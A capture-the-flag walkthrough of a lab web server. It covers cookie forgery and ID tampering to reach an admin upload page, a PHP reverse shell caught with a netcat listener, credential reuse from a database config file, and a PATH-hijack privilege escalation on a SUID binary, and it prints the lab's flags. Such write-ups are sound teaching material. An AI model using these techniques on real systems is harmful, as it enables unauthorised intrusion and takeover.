-
- p22 & p80 are open
-
- found few sub-directories with forbidden access
-
using burp-suite to crawl site
- found
/cdn-cgi/login
- found
-
here we can see a login page, with login as guest option
- we are redirected to
/cdn-cgi/login/admin.php
- by clicking on Account (on navbar), the url becomes
/admin.php?content=accounts&id=2
- here we can see
id
param set to2
- if we set
id=1
(enter), we can see34322 admin admin@megacorp.com
- here we can see
- after clicking Uploads (on navbar), it says
This action require super admin rights.
- there are two cookies:
role
&user
- setting them to
admin
&34322
resp. gives us access to the page
- setting them to
- the uploads seems to be
Branding Image Uploads
- there are two cookies:
- we are redirected to
-
setup & uploaded a php reverse shell (from Uploads)
- starting a listener
nc -lnvp 4444
- accessing it thr
http://<IP>/uploads/php-reverse-shell.php
- found
/uploads
from gobuster which is forbidden, but files inside seems to work (can be called)
- found
- successfully got a reverse shell!!
- starting a listener
-
currently we are
www-data
(whoami
)- enumerating system
- found
/home/robert/user.txt
>f2c74ee8db7983851ab2a96a44eb7981
- found
var/www/html/cdn-cgi/login/db.php
><?php $conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage'); ?>
- got username=
robert
& password=M3g4C0rpUs3r!
- successfully logged as robert using ssh
- got username=
-
listing available groups
cat /etc/group
find -group bugtracker 2>/dev/null
>./usr/bin/bugtracker
strings bugtracker
>cat /root/reports/
- program executes with root prems
- program executes the command (found in strings o/p) appended with given input
- deduced from, if we enter a number we get some error & if string we get something like
cat: /root/reports/test: No such file or directory
- deduced from, if we enter a number we get some error & if string we get something like
- to get root shell >
export PATH=/tmp:$PATH
>cd /tmp
>echo '/bin/sh' > cat
>chmod +x cat
(>echo $PATH
) - now execute
bugtracker
program (& enter any character) - successfully got a root shell!!
- found
/root/root.txt
>af13b0bee69f8a877c3faf667f7beacf